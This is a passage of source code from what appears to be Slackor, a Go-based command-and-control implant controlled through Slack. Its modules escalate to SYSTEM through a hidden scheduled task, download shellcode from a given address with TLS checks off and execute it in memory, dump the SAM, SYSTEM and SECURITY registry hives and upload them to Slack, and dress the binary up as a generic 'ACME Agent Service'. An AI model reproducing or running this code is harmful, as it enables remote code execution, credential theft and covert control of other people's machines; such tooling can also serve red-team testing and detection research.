nil { 35 | panic(err) 36 | } 37 | exPath := filepath.Dir(ex) 38 | exName := filepath.Base(os.Args[0]) 39 | exAgent := ("\"" + exPath + "\\" + exName + "\"") 40 | task1 := "schtasks /create /TN " + taskname + " /TR \"forfiles.exe /p c:\\windows\\system32 /m svchost.exe /c " + exAgent + " \" /SC DAILY /RU system /F" 41 | task2 := "schtasks /run /I /tn " + taskname 42 | task3 := "schtasks /delete /TN " + taskname + " /f" 43 | //Creates a bat file 44 | GS, err := os.Create("C:\\Users\\Public\\build.bat") 45 | if err != nil { 46 | return "", err 47 | } 48 | GS.WriteString(string(task1) + "\r\n") 49 | GS.WriteString(string(task2) + "\r\n") 50 | GS.WriteString(string(task3) + "\r\n") 51 | GS.Close() 52 | Exec := exec.Command("cmd", "/C", "C:\\Users\\Public\\build.bat") 53 | Exec.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 54 | err = Exec.Run() 55 | if err != nil { 56 | return "", err 57 | } 58 | err = os.Remove("C:\\Users\\Public\\build.bat") 59 | if err != nil { 60 | return "", err 61 | } 62 | 63 | return "Attempted to get SYSTEM", nil 64 | } 65 | 66 | func init() { 67 | command.RegisterCommand(GetSystem{}) 68 | } 69 | -------------------------------------------------------------------------------- /pkg/windows/metasploit.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "errors" 7 | "runtime" 8 | 9 | "github.com/n00py/Slackor/pkg/command" 10 | ) 11 | 12 | // Metasploit retrieves shellcode and executes it 13 | type Metasploit struct{} 14 | 15 | // Name is the name of the command 16 | func (m Metasploit) Name() string { 17 | return "metasploit" 18 | } 19 | 20 | // Run retrieves shellcode and executes it 21 | func (m Metasploit) Run(clientID string, jobID string, args []string) (string, error) { 22 | if len(args) != 1 { 23 | return "", errors.New("shellcode takes 1 argument") 24 | } 25 | if runtime.GOARCH != "386" { 26 | address := args[0] 27 | err := shellcode(address, true) 28 | if err != nil { 29 | return "", err 30 | } 31 | } else { 32 | return "", errors.New("shellcode module does not work on 32-bit agents") 33 | } 34 | return "Shellcode executed.", nil 35 | } 36 | 37 | func init() { 38 | command.RegisterCommand(Metasploit{}) 39 | } 40 | -------------------------------------------------------------------------------- /pkg/windows/samdump.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "os" 7 | "os/exec" 8 | "syscall" 9 | 10 | "github.com/n00py/Slackor/internal/slack" 11 | "github.com/n00py/Slackor/pkg/command" 12 | ) 13 | 14 | // SAMDump dumps the security account manager file 15 | type SAMDump struct{} 16 | 17 | // Name is the name of the command 18 | func (s SAMDump) Name() string { 19 | return "samdump" 20 | } 21 | 22 | // Run dumps the security account manager file 23 | func (s SAMDump) Run(clientID string, jobID string, args []string) (string, error) { 24 | cmdName := "cmd.exe" 25 | 26 | cmdArgs := []string{"/c", "reg.exe save HKLM\\SAM sam_" + clientID} 27 | cmd := exec.Command(cmdName, cmdArgs...) 28 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 29 | cmd.Run() 30 | 31 | cmd2Args := []string{"/c", "reg.exe save HKLM\\SYSTEM sys_" + clientID} 32 | cmd2 := exec.Command(cmdName, cmd2Args...) 33 | cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 34 | cmd2.Run() 35 | 36 | cmd3Args := []string{"/c", "reg.exe save HKLM\\SECURITY security_" + clientID} 37 | cmd3 := exec.Command(cmdName, cmd3Args...) 38 | cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 39 | cmd3.Run() 40 | 41 | slack.Upload(clientID, jobID+"-1", "sam_"+clientID) 42 | slack.Upload(clientID, jobID+"-2", "sys_"+clientID) 43 | slack.Upload(clientID, jobID+"-3", "security_"+clientID) 44 | os.Remove("sam_" + clientID) 45 | os.Remove("sys_" + clientID) 46 | os.Remove("security_" + clientID) 47 | 48 | return "SAM files uploaded.", nil 49 | } 50 | 51 | func init() { 52 | command.RegisterCommand(SAMDump{}) 53 | } 54 | -------------------------------------------------------------------------------- /pkg/windows/shellcode.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "crypto/tls" 7 | "errors" 8 | "io/ioutil" 9 | "math/rand" 10 | "net/http" 11 | "os" 12 | "runtime" 13 | "strings" 14 | "syscall" 15 | "time" 16 | "unsafe" 17 | 18 | "github.com/n00py/Slackor/internal/config" 19 | "github.com/n00py/Slackor/pkg/command" 20 | ) 21 | 22 | func calculateChecksum(Length int) string { //Creates a checksum, used for metasploit 23 | for { 24 | rand.Seed(time.Now().UTC().UnixNano()) 25 | var Checksum string 26 | var RandString string 27 | for len(RandString) < Length { 28 | Temp := rand.Intn(4) 29 | if Temp == 1 { 30 | RandString += string(48 + rand.Intn(57-48)) 31 | } else if Temp == 1 { 32 | RandString += string(65 + rand.Intn(90-65)) 33 | } else if Temp == 3 { 34 | RandString += string(97 + rand.Intn(122-97)) 35 | } 36 | Checksum = RandString 37 | } 38 | var Temp2 int = 0 39 | for i := 0; i < len(Checksum); i++ { 40 | Temp2 += int(Checksum[i]) 41 | } 42 | if (Temp2 % 0x100) == 92 { 43 | return Checksum 44 | } 45 | } 46 | } 47 | 48 | // Initiates an HTTPS request to pull shellcode and execute it 49 | func shellcode(address string, metasploit bool) error { 50 | const ( 51 | MEM_COMMIT = 0x1000 52 | MEM_RESERVE = 0x2000 53 | PAGE_EXECUTE_READWRITE = 0x40 54 | ) 55 | 56 | var ( 57 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 58 | ntdll = syscall.MustLoadDLL("ntdll.dll") 59 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 60 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 61 | ) 62 | if metasploit { 63 | Checksum := calculateChecksum(12) 64 | address += Checksum 65 | } 66 | 67 | http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} 68 | 69 | client := &http.Client{} 70 | req, err := http.NewRequest("GET", address, nil) 71 | if err != nil { 72 | return err 73 | } 74 | if strings.Contains(address, "slack.com") { 75 | req.Header.Set("Authorization", "Bearer "+config.Token) 76 | } 77 | Response, err := client.Do(req) 78 | if err != nil { 79 | return err 80 | } 81 | shellcode, _ := ioutil.ReadAll(Response.Body) 82 | if len(os.Args) > 1 { 83 | shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) 84 | if err != nil { 85 | return err 86 | } 87 | shellcode = shellcodeFileData 88 | } 89 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 90 | if addr == 0 { 91 | return errors.New("can't allocate memory") 92 | } 93 | if err != nil { 94 | return err 95 | } 96 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 97 | if err != nil { 98 | return err 99 | } 100 | syscall.Syscall(addr, 0, 0, 0, 0) 101 | return nil 102 | } 103 | 104 | // Shellcode retrieves shellcode and executes it 105 | type Shellcode struct{} 106 | 107 | // Name is the name of the command 108 | func (s Shellcode) Name() string { 109 | return "shellcode" 110 | } 111 | 112 | // Run retrieves shellcode and executes it 113 | func (s Shellcode) Run(clientID string, jobID string, args []string) (string, error) { 114 | if len(args) != 1 { 115 | return "", errors.New("shellcode takes 1 argument") 116 | } 117 | if runtime.GOARCH != "386" { 118 | address := args[0] 119 | err := shellcode(address, false) 120 | if err != nil { 121 | return "", err 122 | } 123 | } else { 124 | return "", errors.New("shellcode module does not work on 32-bit agents") 125 | } 126 | return "Shellcode executed.", nil 127 | } 128 | 129 | func init() { 130 | command.RegisterCommand(Shellcode{}) 131 | } 132 | -------------------------------------------------------------------------------- /pkg/windows/sysinfo.go: -------------------------------------------------------------------------------- 1 | package windows 2 | 3 | import ( 4 | "runtime" 5 | "strconv" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | func hostname() string { 11 | hostnameCmd := command.GetCommand("hostname") 12 | if hostnameCmd != nil { 13 | result, _ := hostnameCmd.Run("", "", []string{}) 14 | if result != "" { 15 | return result 16 | } 17 | return "Hostname error" 18 | } 19 | return "Hostname unavailable" 20 | } 21 | 22 | func whoami() string { 23 | whoamiCmd := command.GetCommand("whoami") 24 | if whoamiCmd != nil { 25 | result, _ := whoamiCmd.Run("", "", []string{}) 26 | if result != "" { 27 | return result 28 | } 29 | return "User ID error" 30 | } 31 | return "User ID unavailable" 32 | } 33 | 34 | func getVersion() string { 35 | versionCmd := command.GetCommand("version") 36 | if versionCmd != nil { 37 | result, _ := versionCmd.Run("", "", []string{}) 38 | if result != "" { 39 | return result 40 | } 41 | return "OS versioning error" 42 | } 43 | return "OS versioning unavailable" 44 | } 45 | 46 | // SysInfo dumps general system info 47 | type SysInfo struct{} 48 | 49 | // Name is the name of the command 50 | func (s SysInfo) Name() string { 51 | return "sysinfo" 52 | } 53 | 54 | // Run dumps general system info 55 | func (s SysInfo) Run(clientID string, jobID string, args []string) (string, error) { 56 | stringy := "Hostname : " + hostname() + "\nCurrent User : " + whoami() + 57 | "\nOS Version : " + getVersion() + "\nGo Environment : " + 58 | string(runtime.GOARCH) + "\nCPU cores : " + strconv.Itoa(int(runtime.NumCPU())) 59 | return stringy, nil 60 | } 61 | 62 | func init() { 63 | command.RegisterCommand(SysInfo{}) 64 | } 65 | -------------------------------------------------------------------------------- /pkg/windows/version.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "syscall" 8 | 9 | "github.com/n00py/Slackor/internal/config" 10 | "github.com/n00py/Slackor/pkg/command" 11 | ) 12 | 13 | // Version gets the OS version 14 | type Version struct{} 15 | 16 | // Name is the name of the command 17 | func (ver Version) Name() string { 18 | return "version" 19 | } 20 | 21 | // Run gets the OS version 22 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) { 23 | if config.OSVersion != "" { 24 | return config.OSVersion, nil 25 | } 26 | dll := syscall.MustLoadDLL("kernel32.dll") 27 | p := dll.MustFindProc("GetVersion") 28 | v, _, _ := p.Call() 29 | version := fmt.Sprintf("Windows version %d.%d (Build %d)", byte(v), uint8(v>>8), uint16(v>>16)) 30 | config.OSVersion = version 31 | return config.OSVersion, nil 32 | } 33 | 34 | func init() { 35 | command.RegisterCommand(Version{}) 36 | } 37 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycrypto 2 | requests 3 | prettytable 4 | pypykatz 5 | -------------------------------------------------------------------------------- /versioninfo.example.json: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "FixedFileInfo": { 4 | "FileVersion": { 5 | "Major": 1, 6 | "Minor": 7, 7 | "Patch": 13, 8 | "Build": 5491 9 | }, 10 | "ProductVersion": { 11 | "Major": 1, 12 | "Minor": 7, 13 | "Patch": 13, 14 | "Build": 5491 15 | }, 16 | "FileFlagsMask": "3f", 17 | "FileFlags ": "00", 18 | "FileOS": "040004", 19 | "FileType": "01", 20 | "FileSubType": "00" 21 | }, 22 | "StringFileInfo": { 23 | "Comments": "", 24 | "CompanyName": "ACME Inc.", 25 | "FileDescription": "Agent Service", 26 | "FileVersion": "1.7.13.5491", 27 | "InternalName": "Agent", 28 | "LegalCopyright": "© Copyright 2019 ACME Inc. All Rights Reserved.", 29 | "LegalTrademarks": "", 30 | "OriginalFilename": "agent.exe", 31 | "PrivateBuild": "", 32 | "ProductName": "Agent", 33 | "ProductVersion": "1.7.13.5491", 34 | "SpecialBuild": "" 35 | }, 36 | "VarFileInfo": { 37 | "Translation": { 38 | "LangID": "0409", 39 | "CharsetID": "04B0" 40 | } 41 | }, 42 | "IconPath": "", 43 | "ManifestPath": "" 44 | } 45 | -------------------------------------------------------------------------------- /versioninfo.example.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | --------------------------------------------------------------------------------